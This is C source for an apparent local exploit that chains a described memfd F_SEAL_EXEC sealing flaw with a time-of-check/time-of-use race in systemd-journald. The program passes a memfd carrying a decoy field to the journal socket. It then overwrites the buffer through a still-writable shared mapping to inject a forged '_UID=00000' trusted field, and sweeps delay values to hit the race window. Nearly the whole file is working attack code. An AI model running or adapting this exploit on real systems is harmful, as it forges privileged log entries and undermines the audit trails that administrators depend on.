/*
 * journald_forge.c — chain memfd F_SEAL_EXEC bypass + journald TOCTOU.
 *
 * Stage 1: kernel bug at mm/memfd.c:276-294 — F_SEAL_EXEC implicitly sets
 *          F_SEAL_WRITE without revoking pre-existing PROT_WRITE mappings.
 * Stage 2: systemd-259.5 src/basic/memfd-util.c:103 ignores F_SEAL_EXEC and
 *          accepts our memfd as sealed for SCM_RIGHTS handoff.
 * Stage 3: src/journal/journald-native.c maps PROT_READ MAP_PRIVATE; reads
 *          page-cache pages we still control via the live MAP_SHARED PROT_WRITE.
 *          iovec stores raw pointers into the buffer at parse; bytes re-read
 *          at dispatch (`manager_write_to_journal`).
 *
 * TOCTOU race: parse must see DECOY (legit name); dispatch must see FORGED
 * (underscored "_PID=12345"). We sweep delay values between sendmsg and
 * the in-place mutation to hit the parse-to-dispatch window.
 *
 * Build:  cc -O2 -o journald_forge journald_forge.c
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <linux/memfd.h>

#ifndef MFD_EXEC
#define MFD_EXEC 0x0010U
#endif
#ifndef F_SEAL_EXEC
#define F_SEAL_EXEC 0x0020
#endif

#define JOURNAL_SOCK "/run/systemd/journal/socket"

/* 10-byte length-matched pair: parse-time vs dispatch-time. */
#define DECOY    "ZZ=DECOY77"
#define FORGED   "_UID=00000"
#define FIELD_LEN 10

static int memfd_create_(const char *name, unsigned int flags) {
	return syscall(SYS_memfd_create, name, flags);
}

static void busy_sleep_ns(long ns)
{
	struct timespec start, now;
	clock_gettime(CLOCK_MONOTONIC, &start);
	do {
		clock_gettime(CLOCK_MONOTONIC, &now);
		long elapsed = (now.tv_sec - start.tv_sec) * 1000000000L +
			       (now.tv_nsec - start.tv_nsec);
		if (elapsed >= ns) break;
	} while (1);
}

int main(int argc, char **argv)
{
	int n_per_delay = (argc >= 2) ? atoi(argv[1]) : 50;

	int sk = socket(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (sk < 0) { perror("socket"); return 1; }
	struct sockaddr_un sa = { .sun_family = AF_UNIX };
	strcpy(sa.sun_path, JOURNAL_SOCK);
	if (connect(sk, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		perror("connect"); return 1;
	}

	/* Sweep delays from 0 to ~500us, n_per_delay attempts each. */
	long delays_ns[] = {
		0, 100, 500, 1000, 2000, 5000, 10000, 20000, 50000,
		100000, 200000, 500000, 1000000,
	};
	int n_delays = sizeof(delays_ns) / sizeof(delays_ns[0]);

	int total = 0;
	for (int di = 0; di < n_delays; di++) {
		long delay = delays_ns[di];
		fprintf(stderr, "[*] delay=%ldns x %d attempts\n", delay, n_per_delay);

		for (int rep = 0; rep < n_per_delay; rep++) {
			int fd = memfd_create_("forge", MFD_ALLOW_SEALING | MFD_EXEC);
			if (fd < 0) { perror("memfd_create"); return 1; }

			/* Build body: DECOY first, lots of NOISE after to extend journald
			 * parse-to-dispatch processing time. */
			char body[16384];
			size_t off = 0;
			off += snprintf(body + off, sizeof(body) - off, "%s\n", DECOY);
			for (int i = 0; i < 100; i++) {
				off += snprintf(body + off, sizeof(body) - off,
					"NOISE%03d=%016d\n", i, rep);
			}

			if (ftruncate(fd, off) < 0) { perror("ftruncate"); return 1; }
			void *map = mmap(NULL, off, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
			if (map == MAP_FAILED) { perror("mmap"); return 1; }
			memcpy(map, body, off);

			if (fcntl(fd, F_ADD_SEALS, F_SEAL_EXEC) < 0) {
				perror("F_ADD_SEALS F_SEAL_EXEC"); return 1;
			}

			/* Send fd */
			struct iovec iov = { .iov_base = (void*)"", .iov_len = 0 };
			char cmsg_buf[CMSG_SPACE(sizeof(int))];
			struct msghdr msg = {
				.msg_iov = &iov, .msg_iovlen = 1,
				.msg_control = cmsg_buf, .msg_controllen = sizeof(cmsg_buf),
			};
			struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
			cmsg->cmsg_level = SOL_SOCKET;
			cmsg->cmsg_type = SCM_RIGHTS;
			cmsg->cmsg_len = CMSG_LEN(sizeof(int));
			memcpy(CMSG_DATA(cmsg), &fd, sizeof(int));

			(void)sendmsg(sk, &msg, 0);

			/* Wait for journald to parse, then mutate. */
			if (delay > 0) busy_sleep_ns(delay);
			memcpy(map, FORGED, FIELD_LEN);

			/* Hold the writable mapping a bit so dispatch reads it. */
			busy_sleep_ns(2000000);  /* 2ms */

			munmap(map, off);
			close(fd);
			total++;
		}
	}

	close(sk);
	fprintf(stderr, "[+] %d total attempts; checking journal...\n", total);
	return 0;
}
